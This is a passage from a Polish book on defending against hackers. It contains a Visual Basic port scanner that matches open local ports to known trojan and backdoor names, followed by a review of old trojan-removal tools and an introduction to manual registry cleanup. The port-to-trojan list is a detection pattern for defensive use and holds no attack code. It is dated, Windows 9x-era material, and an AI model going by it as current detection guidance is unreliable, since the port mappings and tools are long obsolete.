Winsock2.Close
ElseIf Winsock2.LocalPort = 110 Then List1.AddItem Winsock2.LocalPort
& " Found:
ProMail trojan"
Winsock2.Close
ElseIf Winsock2.LocalPort = 113 Then List1.AddItem Winsock2.LocalPort
& " Found:
Kazimas"

background image


Rozdział 1.

Zabezpieczanie portów i usług

89

89

Winsock2.Close
ElseIf Winsock2.LocalPort = 119 Then List1.AddItem Winsock2.LocalPort
& " Found:
Happy 99"
Winsock2.Close
ElseIf Winsock2.LocalPort = 121 Then List1.AddItem Winsock2.LocalPort
& " Found:
JammerKillah"
Winsock2.Close
ElseIf Winsock2.LocalPort = 421 Then List1.AddItem Winsock2.LocalPort
& " Found:
TCP Wrappers"
Winsock2.Close
ElseIf Winsock2.LocalPort = 456 Then List1.AddItem Winsock2.LocalPort
& " Found:
Hackers Paradise"
Winsock2.Close
ElseIf Winsock2.LocalPort = 531 Then List1.AddItem Winsock2.LocalPort
& " Found:
Rasmin"
Winsock2.Close
ElseIf Winsock2.LocalPort = 555 Then List1.AddItem Winsock2.LocalPort
& " Found:
Ini-Killer, NeTAdmin, Phase Zero, Stealth Spy"
Winsock2.Close
ElseIf Winsock2.LocalPort = 666 Then List1.AddItem Winsock2.LocalPort
& " Found:
Attack FTP, Back Construction, Cain & Abel, Satanz Backdoor, ServeU,
Shadow Phyre"
Winsock2.Close
ElseIf Winsock2.LocalPort = 911 Then List1.AddItem Winsock2.LocalPort
& " Found:
Dark Shadow"
Winsock2.Close
ElseIf Winsock2.LocalPort = 999 Then List1.AddItem Winsock2.LocalPort
& " Found:
DeepThroat, WinSatan"
Winsock2.Close
ElseIf Winsock2.LocalPort = 1001 Then List1.AddItem
Winsock2.LocalPort & " Found:
Silencer, WebEx"
Winsock2.Close
ElseIf Winsock2.LocalPort = 1010 Then List1.AddItem
Winsock2.LocalPort & " Found:
Doly Trojan"
Winsock2.Close
ElseIf Winsock2.LocalPort = 1011 Then List1.AddItem
Winsock2.LocalPort & " Found:
Doly Trojan"
Winsock2.Close
ElseIf Winsock2.LocalPort = 1012 Then List1.AddItem
Winsock2.LocalPort & " Found:
Doly Trojan"
Winsock2.Close
ElseIf Winsock2.LocalPort = 1015 Then List1.AddItem
Winsock2.LocalPort & " Found:
Doly Trojan"
Winsock2.Close
ElseIf Winsock2.LocalPort = 1024 Then List1.AddItem
Winsock2.LocalPort & " Found:
NetSpy"

background image


90

Hack Wars. Tom 2. Na tropie hakerów

90

Winsock2.Close
ElseIf Winsock2.LocalPort = 1042 Then List1.AddItem Winsock2.LocalPort &
" Found: Bla"
Winsock2.Close
ElseIf Winsock2.LocalPort = 1045 Then List1.AddItem
Winsock2.LocalPort & " Found:
Rasmin"
Winsock2.Close
ElseIf Winsock2.LocalPort = 1090 Then List1.AddItem
Winsock2.LocalPort & " Found:
Xtreme"
Winsock2.Close
ElseIf Winsock2.LocalPort = 1170 Then List1.AddItem
Winsock2.LocalPort & " Found:
Psyber Stream Server, Streaming Audio trojan, Voice"
Winsock2.Close
ElseIf Winsock2.LocalPort = 1234 Then List1.AddItem
Winsock2.LocalPort & " Found:
Ultors Trojan"
Winsock2.Close
ElseIf Winsock2.LocalPort = 1239 Then Winsock2.Close
ElseIf Winsock2.LocalPort = 1243 Then List1.AddItem
Winsock2.LocalPort & " Found:
BackDoor-G, SubSeven, SubSeven Apocalypse"
Winsock2.Close
ElseIf Winsock2.LocalPort = 1245 Then List1.AddItem
Winsock2.LocalPort & " Found:
VooDoo Doll"
Winsock2.Close
ElseIf Winsock2.LocalPort = 1248 Then Winsock2.Close
ElseIf Winsock2.LocalPort = 1269 Then List1.AddItem
Winsock2.LocalPort & " Found:
Mavericks Matrix"
Winsock2.Close
ElseIf Winsock2.LocalPort = 1349 Then List1.AddItem
Winsock2.LocalPort & " Found:
BO DLL"
Winsock2.Close
ElseIf Winsock2.LocalPort = 1492 Then List1.AddItem
Winsock2.LocalPort & " Found:
FTP99CMP"
Winsock2.Close
ElseIf Winsock2.LocalPort = 1509 Then List1.AddItem
Winsock2.LocalPort & " Found:
Psyber Streaming Server"
Winsock2.Close
ElseIf Winsock2.LocalPort = 1600 Then List1.AddItem
Winsock2.LocalPort & " Found:
Shivka-Burka"
Winsock2.Close
ElseIf Winsock2.LocalPort = 1807 Then List1.AddItem
Winsock2.LocalPort & " Found:
SpySender"
Winsock2.Close
ElseIf Winsock2.LocalPort = 1981 Then List1.AddItem
Winsock2.LocalPort & " Found:
Shockrave"
Winsock2.Close
ElseIf Winsock2.LocalPort = 1999 Then List1.AddItem
Winsock2.LocalPort & " Found:
BackDoor"

background image


Rozdział 1.

Zabezpieczanie portów i usług

91

91

Winsock2.Close
ElseIf Winsock2.LocalPort = 1999 Then List1.AddItem
Winsock2.LocalPort & " Found:
TransScout"
Winsock2.Close
ElseIf Winsock2.LocalPort = 2000 Then List1.AddItem
Winsock2.LocalPort & " Found:
TransScout"
Winsock2.Close
ElseIf Winsock2.LocalPort = 2001 Then List1.AddItem
Winsock2.LocalPort & " Found:
TransScout"
Winsock2.Close
ElseIf Winsock2.LocalPort = 2001 Then List1.AddItem
Winsock2.LocalPort & " Found:
Trojan Cow"
Winsock2.Close
ElseIf Winsock2.LocalPort = 2002 Then List1.AddItem
Winsock2.LocalPort & " Found:
TransScout"
Winsock2.Close
ElseIf Winsock2.LocalPort = 2003 Then List1.AddItem
Winsock2.LocalPort & " Found:
TransScout"
Winsock2.Close
ElseIf Winsock2.LocalPort = 2004 Then List1.AddItem
Winsock2.LocalPort & " Found:
TransScout"
Winsock2.Close
ElseIf Winsock2.LocalPort = 2005 Then List1.AddItem
Winsock2.LocalPort & " Found:
TransScout"
Winsock2.Close
ElseIf Winsock2.LocalPort = 2023 Then List1.AddItem
Winsock2.LocalPort & " Found:
Ripper"
Winsock2.Close
ElseIf Winsock2.LocalPort = 2115 Then List1.AddItem Winsock2.LocalPort &
" Found: Bugs"
Winsock2.Close
ElseIf Winsock2.LocalPort = 2140 Then List1.AddItem
Winsock2.LocalPort & " Found:
Deep Throat, The Invasor"
Winsock2.Close
ElseIf Winsock2.LocalPort = 2155 Then List1.AddItem
Winsock2.LocalPort & " Found:
Illusion Mailer"
Winsock2.Close
ElseIf Winsock2.LocalPort = 2283 Then List1.AddItem
Winsock2.LocalPort & " Found:
HVL Rat5"
Winsock2.Close
ElseIf Winsock2.LocalPort = 2565 Then List1.AddItem
Winsock2.LocalPort & " Found:
Striker"
Winsock2.Close
ElseIf Winsock2.LocalPort = 2583 Then List1.AddItem
Winsock2.LocalPort & " Found:
WinCrash"
Winsock2.Close

background image


92

Hack Wars. Tom 2. Na tropie hakerów

92

ElseIf Winsock2.LocalPort = 2600 Then List1.AddItem
Winsock2.LocalPort & " Found:
Digital RootBeer"
Winsock2.Close
ElseIf Winsock2.LocalPort = 2801 Then List1.AddItem
Winsock2.LocalPort & " Found:
Phineas Phucker"
Winsock2.Close
ElseIf Winsock2.LocalPort = 2989 Then List1.AddItem Winsock2.LocalPort &
" Found: RAT"
Winsock2.Close
ElseIf Winsock2.LocalPort = 3024 Then List1.AddItem
Winsock2.LocalPort & " Found:
WinCrash"
Winsock2.Close
ElseIf Winsock2.LocalPort = 3128 Then List1.AddItem
Winsock2.LocalPort & " Found:
RingZero"
Winsock2.Close
ElseIf Winsock2.LocalPort = 3129 Then List1.AddItem
Winsock2.LocalPort & " Found:
Masters Paradise"
Winsock2.Close
ElseIf Winsock2.LocalPort = 3150 Then List1.AddItem
Winsock2.LocalPort & " Found:
Deep Throat, The Invasor"
Winsock2.Close
ElseIf Winsock2.LocalPort = 3459 Then List1.AddItem
Winsock2.LocalPort & " Found:
Eclipse 2000"
Winsock2.Close
ElseIf Winsock2.LocalPort = 3700 Then List1.AddItem
Winsock2.LocalPort & " Found:
Portal of Doom"
Winsock2.Close
ElseIf Winsock2.LocalPort = 3791 Then List1.AddItem
Winsock2.LocalPort & " Found:
Eclypse"
Winsock2.Close
ElseIf Winsock2.LocalPort = 3801 Then List1.AddItem
Winsock2.LocalPort & " Found:
Eclypse"
Winsock2.Close
ElseIf Winsock2.LocalPort = 4092 Then List1.AddItem
Winsock2.LocalPort & " Found:
WinCrash"
Winsock2.Close
ElseIf Winsock2.LocalPort = 4321 Then List1.AddItem Winsock2.LocalPort &
" Found: BoBo"
Winsock2.Close
ElseIf Winsock2.LocalPort = 4567 Then List1.AddItem
Winsock2.LocalPort & " Found:
File Nail"
Winsock2.Close
ElseIf Winsock2.LocalPort = 4590 Then List1.AddItem
Winsock2.LocalPort & " Found:
ICQTrojan"
Winsock2.Close
ElseIf Winsock2.LocalPort = 5000 Then List1.AddItem
Winsock2.LocalPort & " Found:
Bubbel, Back Door Setup, Sockets deTroie"

background image


Rozdział 1.

Zabezpieczanie portów i usług

93

93

Winsock2.Close
ElseIf Winsock2.LocalPort = 5001 Then List1.AddItem
Winsock2.LocalPort & " Found:
Back Door Setup, Sockets de Troie"
Winsock2.Close
ElseIf Winsock2.LocalPort = 5011 Then List1.AddItem
Winsock2.LocalPort & " Found:
One of the Last Trojans (OOTLT)"
Winsock2.Close
ElseIf Winsock2.LocalPort = 5031 Then List1.AddItem
Winsock2.LocalPort & " Found:
NetMetro"
Winsock2.Close
ElseIf Winsock2.LocalPort = 5321 Then List1.AddItem
Winsock2.LocalPort & " Found:
Firehotcker"
Winsock2.Close
ElseIf Winsock2.LocalPort = 5400 Then List1.AddItem
Winsock2.LocalPort & " Found:
Blade Runner, Back Construction"
Winsock2.Close
ElseIf Winsock2.LocalPort = 5401 Then List1.AddItem
Winsock2.LocalPort & " Found:
Blade Runner, Back Construction"
Winsock2.Close
ElseIf Winsock2.LocalPort = 5402 Then List1.AddItem
Winsock2.LocalPort & " Found:
Blade Runner, Back Construction"
Winsock2.Close
ElseIf Winsock2.LocalPort = 5512 Then List1.AddItem
Winsock2.LocalPort & " Found:
Illusion Mailer"
Winsock2.Close
ElseIf Winsock2.LocalPort = 5550 Then List1.AddItem Winsock2.LocalPort &
" Found: Xtcp"
Winsock2.Close
ElseIf Winsock2.LocalPort = 5555 Then List1.AddItem
Winsock2.LocalPort & " Found:
ServeMe"
Winsock2.Close
ElseIf Winsock2.LocalPort = 5556 Then List1.AddItem
Winsock2.LocalPort & " Found:
BO Facil"
Winsock2.Close
ElseIf Winsock2.LocalPort = 5557 Then List1.AddItem
Winsock2.LocalPort & " Found:
BO Facil"
Winsock2.Close
ElseIf Winsock2.LocalPort = 5569 Then List1.AddItem
Winsock2.LocalPort & " Found:
Robo-Hack"
Winsock2.Close
ElseIf Winsock2.LocalPort = 5742 Then List1.AddItem
Winsock2.LocalPort & " Found:
WinCrash"
Winsock2.Close
ElseIf Winsock2.LocalPort = 6400 Then List1.AddItem
Winsock2.LocalPort & " Found:
The Thing"
Winsock2.Close

background image


94

Hack Wars. Tom 2. Na tropie hakerów

94

ElseIf Winsock2.LocalPort = 6669 Then List1.AddItem
Winsock2.LocalPort & " Found:
Vampyre"
Winsock2.Close
ElseIf Winsock2.LocalPort = 6670 Then List1.AddItem
Winsock2.LocalPort & " Found:
DeepThroat"
Winsock2.Close
ElseIf Winsock2.LocalPort = 6771 Then List1.AddItem
Winsock2.LocalPort & " Found:
DeepThroat"
Winsock2.Close
ElseIf Winsock2.LocalPort = 6776 Then List1.AddItem
Winsock2.LocalPort & " Found:
BackDoor-G, SubSeven"
Winsock2.Close
ElseIf Winsock2.LocalPort = 6912 Then List1.AddItem
Winsock2.LocalPort & " Found:
Shit Heep"
Winsock2.Close
ElseIf Winsock2.LocalPort = 6939 Then List1.AddItem
Winsock2.LocalPort & " Found:
Indoctrination"
Winsock2.Close
ElseIf Winsock2.LocalPort = 6969 Then List1.AddItem
Winsock2.LocalPort & " Found:
GateCrasher, Priority, IRC 3"
Winsock2.Close
ElseIf Winsock2.LocalPort = 6970 Then List1.AddItem
Winsock2.LocalPort & " Found:
GateCrasher"
Winsock2.Close
ElseIf Winsock2.LocalPort = 7000 Then List1.AddItem
Winsock2.LocalPort & " Found:
Remote Grab , Kazimas"
Winsock2.Close
ElseIf Winsock2.LocalPort = 7300 Then List1.AddItem
Winsock2.LocalPort & " Found:
NetMonitor"
Winsock2.Close
ElseIf Winsock2.LocalPort = 7301 Then List1.AddItem
Winsock2.LocalPort & " Found:
NetMonitor"
Winsock2.Close
ElseIf Winsock2.LocalPort = 7306 Then List1.AddItem
Winsock2.LocalPort & " Found:
NetMonitor"
Winsock2.Close
ElseIf Winsock2.LocalPort = 7307 Then List1.AddItem
Winsock2.LocalPort & " Found:
NetMonitor"
Winsock2.Close
ElseIf Winsock2.LocalPort = 7308 Then List1.AddItem
Winsock2.LocalPort & " Found:
NetMonitor"
Winsock2.Close
ElseIf Winsock2.LocalPort = 7789 Then List1.AddItem
Winsock2.LocalPort & " Found:
Back Door Setup, ICKiller"
Winsock2.Close

background image


Rozdział 1.

Zabezpieczanie portów i usług

95

95

ElseIf Winsock2.LocalPort = 8080 Then List1.AddItem
Winsock2.LocalPort & " Found:
RingZero"
Winsock2.Close
ElseIf Winsock2.LocalPort = 9400 Then List1.AddItem
Winsock2.LocalPort & " Found:
InCommand"
Winsock2.Close
ElseIf Winsock2.LocalPort = 9872 Then List1.AddItem
Winsock2.LocalPort & " Found:
Portal of Doom"
Winsock2.Close
ElseIf Winsock2.LocalPort = 9873 Then List1.AddItem
Winsock2.LocalPort & " Found:
Portal of Doom"
Winsock2.Close
ElseIf Winsock2.LocalPort = 9874 Then List1.AddItem
Winsock2.LocalPort & " Found:
Portal of Doom"
Winsock2.Close
ElseIf Winsock2.LocalPort = 9875 Then List1.AddItem
Winsock2.LocalPort & " Found:
Portal of Doom"
Winsock2.Close
ElseIf Winsock2.LocalPort = 9876 Then List1.AddItem
Winsock2.LocalPort & " Found:
Cyber Attacker"
Winsock2.Close
ElseIf Winsock2.LocalPort = 9878 Then List1.AddItem
Winsock2.LocalPort & " Found:
TransScout"
Winsock2.Close
ElseIf Winsock2.LocalPort = 9989 Then List1.AddItem
Winsock2.LocalPort & " Found:
iNi-Killer"
Winsock2.Close
ElseIf Winsock2.LocalPort = 10067 Then List1.AddItem
Winsock2.LocalPort & " Found:
Portal of Doom"
Winsock2.Close
ElseIf Winsock2.LocalPort = 10101 Then List1.AddItem
Winsock2.LocalPort & " Found:
BrainSpy"
Winsock2.Close
ElseIf Winsock2.LocalPort = 10167 Then List1.AddItem
Winsock2.LocalPort & " Found:
Portal of Doom"
Winsock2.Close
ElseIf Winsock2.LocalPort = 10520 Then List1.AddItem
Winsock2.LocalPort & " Found:
Acid Shivers"
Winsock2.Close
ElseIf Winsock2.LocalPort = 10607 Then List1.AddItem Winsock2.LocalPort &
" Found: Coma"
Winsock2.Close
ElseIf Winsock2.LocalPort = 11000 Then List1.AddItem
Winsock2.LocalPort & " Found: Senna Spy"
Winsock2.Close
ElseIf Winsock2.LocalPort = 11223 Then List1.AddItem
Winsock2.LocalPort & " Found:
Progenic trojan"

background image


96

Hack Wars. Tom 2. Na tropie hakerów

96

Winsock2.Close
ElseIf Winsock2.LocalPort = 12076 Then List1.AddItem
Winsock2.LocalPort & " Found:
Gjamer"
Winsock2.Close
ElseIf Winsock2.LocalPort = 12223 Then List1.AddItem
Winsock2.LocalPort & " Found:
Hack'99 KeyLogger"
Winsock2.Close
ElseIf Winsock2.LocalPort = 12345 Then Winsock2.Close
ElseIf Winsock2.LocalPort = 12346 Then List1.AddItem
Winsock2.LocalPort & " Found:
GabanBus, NetBus, X-bill"
Winsock2.Close
ElseIf Winsock2.LocalPort = 12361 Then List1.AddItem
Winsock2.LocalPort & " Found:
Whack-a-mole"
Winsock2.Close
ElseIf Winsock2.LocalPort = 12362 Then List1.AddItem
Winsock2.LocalPort & " Found:
Whack-a-mole"
Winsock2.Close
ElseIf Winsock2.LocalPort = 12631 Then List1.AddItem
Winsock2.LocalPort & " Found:
WhackJob"
Winsock2.Close
ElseIf Winsock2.LocalPort = 13000 Then List1.AddItem
Winsock2.LocalPort & " Found:
Senna Spy"
Winsock2.Close
ElseIf Winsock2.LocalPort = 16969 Then List1.AddItem
Winsock2.LocalPort & " Found:
Priority"
Winsock2.Close
ElseIf Winsock2.LocalPort = 17300 Then List1.AddItem
Winsock2.LocalPort & " Found:
Kuang2 The Virus"
Winsock2.Close
ElseIf Winsock2.LocalPort = 20000 Then List1.AddItem
Winsock2.LocalPort & " Found:
Millennium"
Winsock2.Close
ElseIf Winsock2.LocalPort = 20001 Then List1.AddItem
Winsock2.LocalPort & " Found:
Millennium"
Winsock2.Close
ElseIf Winsock2.LocalPort = 20034 Then Winsock2.Close
ElseIf Winsock2.LocalPort = 20203 Then List1.AddItem
Winsock2.LocalPort & " Found:
Logged"
Winsock2.Close
ElseIf Winsock2.LocalPort = 21544 Then List1.AddItem
Winsock2.LocalPort & " Found:
GirlFriend"
Winsock2.Close
ElseIf Winsock2.LocalPort = 22222 Then List1.AddItem
Winsock2.LocalPort & " Found:
Prosiak"
Winsock2.Close
ElseIf Winsock2.LocalPort = 23456 Then List1.AddItem
Winsock2.LocalPort & " Found:

background image


Rozdział 1.

Zabezpieczanie portów i usług

97

97

Evil FTP, Ugly FTP , Whack Job"
Winsock2.Close
ElseIf Winsock2.LocalPort = 23476 Then List1.AddItem
Winsock2.LocalPort & " Found:
Donald Dick"
Winsock2.Close
ElseIf Winsock2.LocalPort = 23477 Then List1.AddItem
Winsock2.LocalPort & " Found:
Donald Dick"
Winsock2.Close
ElseIf Winsock2.LocalPort = 26274 Then List1.AddItem
Winsock2.LocalPort & " Found:
Delta Source"
Winsock2.Close
ElseIf Winsock2.LocalPort = 29891 Then List1.AddItem
Winsock2.LocalPort & " Found:
The Unexplained"
Winsock2.Close
ElseIf Winsock2.LocalPort = 30029 Then List1.AddItem
Winsock2.LocalPort & " Found:
AOL Trojan"
Winsock2.Close
ElseIf Winsock2.LocalPort = 30100 Then List1.AddItem
Winsock2.LocalPort & " Found:
NetSphere"
Winsock2.Close
ElseIf Winsock2.LocalPort = 30101 Then List1.AddItem
Winsock2.LocalPort & " Found:
NetSphere"
Winsock2.Close
ElseIf Winsock2.LocalPort = 30102 Then List1.AddItem
Winsock2.LocalPort & " Found:
NetSphere"
Winsock2.Close
ElseIf Winsock2.LocalPort = 30303 Then List1.AddItem
Winsock2.LocalPort & " Found:
Sockets de Troie"
Winsock2.Close
ElseIf Winsock2.LocalPort = 30999 Then List1.AddItem
Winsock2.LocalPort & " Found:
Kuang2"
Winsock2.Close
ElseIf Winsock2.LocalPort = 31336 Then List1.AddItem
Winsock2.LocalPort & " Found:
Bo Whack"
Winsock2.Close
ElseIf Winsock2.LocalPort = 31337 Then List1.AddItem
Winsock2.LocalPort & " Found:
Baron Night, BO client, BO2, Bo Facil"
Winsock2.Close
ElseIf Winsock2.LocalPort = 31337 Then List1.AddItem
Winsock2.LocalPort & " Found:
BackFire, Back Orifice, DeepBO"
Winsock2.Close
ElseIf Winsock2.LocalPort = 31338 Then List1.AddItem
Winsock2.LocalPort & " Found:
NetSpy DK"
Winsock2.Close
ElseIf Winsock2.LocalPort = 31338 Then List1.AddItem
Winsock2.LocalPort & " Found:
Back Orifice, DeepBO"

background image


98

Hack Wars. Tom 2. Na tropie hakerów

98

Winsock2.Close
ElseIf Winsock2.LocalPort = 31339 Then List1.AddItem
Winsock2.LocalPort & " Found:
NetSpy DK"
Winsock2.Close
ElseIf Winsock2.LocalPort = 31666 Then List1.AddItem
Winsock2.LocalPort & " Found:
BOWhack"
Winsock2.Close
ElseIf Winsock2.LocalPort = 31785 Then List1.AddItem
Winsock2.LocalPort & " Found:
Hack'a'Tack"
Winsock2.Close
ElseIf Winsock2.LocalPort = 31787 Then List1.AddItem
Winsock2.LocalPort & " Found:
Hack'a'Tack"
Winsock2.Close
ElseIf Winsock2.LocalPort = 31788 Then List1.AddItem
Winsock2.LocalPort & " Found:
Hack'a'Tack"
Winsock2.Close
ElseIf Winsock2.LocalPort = 31789 Then List1.AddItem
Winsock2.LocalPort & " Found:
Hack'a'Tack"
Winsock2.Close
ElseIf Winsock2.LocalPort = 31791 Then List1.AddItem
Winsock2.LocalPort & " Found:
Hack'a'Tack"
Winsock2.Close
ElseIf Winsock2.LocalPort = 31792 Then List1.AddItem
Winsock2.LocalPort & " Found:
Hack'a'Tack"
Winsock2.Close
ElseIf Winsock2.LocalPort = 33333 Then List1.AddItem
Winsock2.LocalPort & " Found:
Prosiak"
Winsock2.Close
ElseIf Winsock2.LocalPort = 33911 Then List1.AddItem
Winsock2.LocalPort & " Found:
Spirit 2001a"
Winsock2.Close
ElseIf Winsock2.LocalPort = 34324 Then List1.AddItem
Winsock2.LocalPort & " Found:
BigGluck, TN"
Winsock2.Close
ElseIf Winsock2.LocalPort = 40412 Then List1.AddItem
Winsock2.LocalPort & " Found:
The Spy"
Winsock2.Close
ElseIf Winsock2.LocalPort = 40421 Then List1.AddItem
Winsock2.LocalPort & " Found:
Agent 40421, Masters Paradise"
Winsock2.Close
ElseIf Winsock2.LocalPort = 40422 Then List1.AddItem
Winsock2.LocalPort & " Found:
Masters Paradise"
Winsock2.Close
ElseIf Winsock2.LocalPort = 40423 Then List1.AddItem
Winsock2.LocalPort & " Found:
Masters Paradise"
Winsock2.Close

background image


Rozdział 1.

Zabezpieczanie portów i usług

99

99

ElseIf Winsock2.LocalPort = 40426 Then List1.AddItem
Winsock2.LocalPort & " Found:
Masters Paradise"
Winsock2.Close
ElseIf Winsock2.LocalPort = 47262 Then List1.AddItem
Winsock2.LocalPort & " Found:
Delta Source"
Winsock2.Close
ElseIf Winsock2.LocalPort = 50505 Then List1.AddItem
Winsock2.LocalPort & " Found:
Sockets de Troie"
Winsock2.Close
ElseIf Winsock2.LocalPort = 50766 Then List1.AddItem
Winsock2.LocalPort & " Found:
Fore, Schwindler"
Winsock2.Close
ElseIf Winsock2.LocalPort = 53001 Then List1.AddItem
Winsock2.LocalPort & " Found:
Remote Windows Shutdown"
Winsock2.Close
ElseIf Winsock2.LocalPort = 54320 Then List1.AddItem
Winsock2.LocalPort & " Found:
Back Orifice 2000"
Winsock2.Close
ElseIf Winsock2.LocalPort = 54321 Then List1.AddItem
Winsock2.LocalPort & " Found:
School Bus"
Winsock2.Close
ElseIf Winsock2.LocalPort = 54321 Then List1.AddItem
Winsock2.LocalPort & " Found:
Back Orifice 2000"
Winsock2.Close
ElseIf Winsock2.LocalPort = 60000 Then List1.AddItem
Winsock2.LocalPort & " Found:
Deep Throat"
Winsock2.Close
ElseIf Winsock2.LocalPort = 61466 Then List1.AddItem
Winsock2.LocalPort & " Found:
Telecommando"
Winsock2.Close
Else
List1.AddItem Winsock2.LocalPort & " Active: Standard Well-known
Port"
Winsock2.Close
End If
End Sub
Public Sub WSock3(sPort As Long)
Winsock3.LocalPort = sPort
If sPort > 65400 Then
cmdStop_Click
End If
On Error GoTo z3
Winsock3.Listen
Winsock3.Close
Exit Sub

'–––– listing skrócony ––––

z3: 'Powtórzenie z2
z4: 'Powtórzenie z3
z5: 'Powtórzenie z4

background image


100

Hack Wars. Tom 2. Na tropie hakerów

100

Zabezpieczanie portów ukrytych

Zajmiemy się teraz wyłączaniem usług korzystających z portów o numerach wyższych od
1024, zarówno tych, o których wspominaliśmy w pierwszym tomie, Hack wars. Na
tropie hakerów
, jak i wykrytych w trakcie skanowania portów. Przedstawimy również
przegląd narzędzi przeznaczonych do proaktywnego monitorowania i ochrony portów
przed różnego rodzaju włamaniami.

Rozpoczniemy od pakietów kompleksowo „oczyszczających” system, następnie przej-
dziemy do technik samodzielnego wykonywania tego rodzaju czynności, a skończymy
omówieniem „strażników” i różnorodnych blokad portów, pełniących rolę mini-zapór.
Uzupełnieniem będzie prezentacja TigerGuard, w pełni konfigurowalnego, osobistego
demona zabezpieczeń.

Programy oczyszczające system

Programy tego rodzaju wyszukują obecne w systemie konie trojańskie i wirusy,
a w przypadku ich znalezienia — usuwają. Większość z nich ma na celu zautomatyzowa-
nie czynności, które już kilka stron dalej opiszemy szczegółowo. Choć narzędzia te —
o ile uaktualniamy je regularnie — są dość skuteczne, samodzielne skanowanie i ręczne
usuwanie „niespodzianek” nie traci na wartości. Przedstawimy więc jedynie kilka przy-
kładów najpopularniejszego, ogólnie dostępnego oprogramowania. W rozdziale 2. zajmie-
my się jeszcze oprogramowaniem, którego praca koncentruje się na wykrywaniu,
usuwaniu i ochronie przed samymi tylko wirusami. W dalszej części tego rozdziału
zajmiemy się jeszcze pakietami zapewniającymi zablokowanie szkodliwych usług.

AntiGen i BoDetect

AntiGen (patrz rysunek 1.26) i BoDetect to narzędzia, które automatycznie wykrywają
i usuwają z komputera program Back Orifice Server (BoServ). AntiGen, oferowany
przez firmę Fresh Software, należy do grupy freeware, czyli oprogramowania, z którego
możemy korzystać bezpłatnie. Ogólnie rzecz biorąc, oba narzędzia działają dość dobrze,
umykają jednak ich skuteczności pewne nowsze mutacje serwera BoServ. Stąd właśnie
wspomniana już konieczność samodzielnego skanowania i oczyszczania portów.

Rysunek 1.26.
Usuwanie konia
troja
ńskiego BoServ
programem AntiGen

background image


Rozdział 1.

Zabezpieczanie portów i usług

101

101

NetBus Detective

NetBus Detective (patrz rysunek 1.27) to maleńki program zaprojektowany wyłącznie
do usuwania konia trojańskiego NetBus. Jego dodatkową funkcją jest wyświetlanie hake-
rowi powiadomienia o jego wykryciu, łącznie z podaniem IP i nazwy stacji. Jak widać
na ilustracji, zarówno komunikat dla hakera, jak i wyświetlany użytkownikowi mogą
być modyfikowane.

Rysunek 1.27.
Konfigurowanie
narz
ędzia NetBus
Detective

NetBus Protection System

NetBus Protection System, w skrócie NPS (patrz rysunek 1.28), to program wykrywa-
jący i chroniący przed koniem trojańskim NetBus. Posiada on dwie niezależne funkcje
— usuwania szkodliwej usługi i powiadamiania o próbie skorzystania z niej. Można
korzystać z nich razem lub ograniczyć się jedynie do wyłączenia demona.

Rysunek 1.28.
Konfigurowanie
programu NetBus
Protection System

Tauscan

Tauscan (patrz rysunek 1.29) to rozbudowany demon służący do wykrywania i usuwania
różnych koni trojańskich, zdolny do rozpoznania większości znanych mechanizmów
backdoor. Program pracuje w tle, a co ciekawsze, wykorzystuje bardzo niewielką

background image


102

Hack Wars. Tom 2. Na tropie hakerów

102

ilość zasobów systemu. Jego graficzny interfejs jest wyjątkowo przyjazny — obejmuje
funkcje takie jak inicjowanie skanowania metodą drag-and-drop i prawym przyciskiem
myszy, jak również kreator konfiguracji. Czyni to program wyjątkowo prostym w użyciu.

Rysunek 1.29.
Przyjazny interfejs
GUI programu
Tauscan

Tauscan można pobrać z witryny www.agnitum.com/products/tauscan/.

The Cleaner

The Cleaner (patrz rysunek 1.30) to kolejne narzędzie służące do wyszukiwania i usuwa-
nia z komputera programów szkodliwych, a niewidocznych dla użytkownika. Zgodnie
z zapewnieniami autora, The Cleaner korzysta ze specjalnej procedury jednoznacznej
identyfikacji plików: nie można ich ukryć ani przez zmianę nazwy, ani zgłaszanej
wielkości pliku, jak również przez dołączenie kodu do innego programu.

The Cleaner może zostać pobrany z witryny www.moosoft.com/.

Trojan Remover

Trojan Remover (patrz rysunek 1.31) to system wykrywania i usuwania koni trojańskich
zaprojektowany przede wszystkim pod kątem systemów Windows 9x. Choć zasób je-
go funkcji jest dość ograniczony — nie posiada między innymi funkcji zapobiegania „za-
rażeniu” — zaletą narzędzia jest sprawne usuwanie wielu popularnych „wtyczek”. Ja-
ko dostępny do pobrania i bezpłatny, stać się może dobrym uzupełnieniem posiadanej
kolekcji programów zabezpieczających.

Trojan Remover może zostać pobrany z witryny www.simpysup.com/tremover/.

background image


Rozdział 1.

Zabezpieczanie portów i usług

103

103

Rysunek 1.30.
The Cleaner może
by
ć potężnym
sprzymierze
ńcem
w walce
z włamaniami

Rysunek 1.31.
Główne okno
programu Trojan
Remover

Techniki samodzielnego usuwania koni trojańskich

Jak przedstawiliśmy to w Hack wars. Na tropie hakerów, programy do włamań penetra-
cyjnych mają zazwyczaj za zadanie „otworzyć tylne wyjście”, czyli utworzyć lukę
w systemie zabezpieczeń systemu. Mimo, że zadania samego demona często nie są
szkodliwe, intencje osoby korzystającej z niego trudno uznać za pożądane. Stąd właśnie

background image


104

Hack Wars. Tom 2. Na tropie hakerów

104

konieczność korzystania z programów zapewniających zautomatyzowanie procesów
przeglądania systemu, wykrywania niepożądanych demonów i ich usuwania. Ich działanie
nie zawsze jednak gwarantuje pełną skuteczność. Istotnym uzupełnieniem stają się
więc techniki samodzielnego, „ręcznego” zabezpieczania portów, usuwania usług i blo-
kowania dostępu do systemu.

Lista omawianych na kolejnych stronach metod bazuje na liście portów i usług przed-
stawionych w pierwszym tomie Hack wars — obejmuje ona narzędzia najczęściej
spotykane i najbardziej niebezpieczne. Podstawowe czynności sprowadzają się do
modyfikowania rejestru oraz usuwania lub „maskowania” plików (przypomnijmy —
rejestr to hierarchiczna baza danych stosowana w nowych wersjach systemu Win-
dows: 95/98, Millenium, NT 4 i 2000; są w niej przechowywane wszystkie ustawienia
systemowe; odpowiada używanym w Windows 3.x plikom

.ini

; do rejestru przeniesione

zostały wpisy z plików

system.ini

,

win.ini

i

control.ini

; również instalowane w systemie

programy przechowują w rejestrze swoje dane inicjalizacyjne i konfiguracyjne).

Rejestr nie może być modyfikowany przy użyciu żadnego ze standardowych edytorów.
Niezbędne jest korzystanie z narzędzia regedit lub, w Windows NT 4 i 2000, RegEdt32.
Skrótu do niego nie znajdziemy w menu Start. Plik uruchamiający znajduje się w katalogu
systemu operacyjnego. Aby uruchomić Edytor Rejestru korzystamy z menu Start |
Uruchom
i wprowadzamy polecenie

regedit

lub

regedt32

.

Przed wprowadzaniem jakichkolwiek modyfikacji w rejestrze (lub uruchamianiem
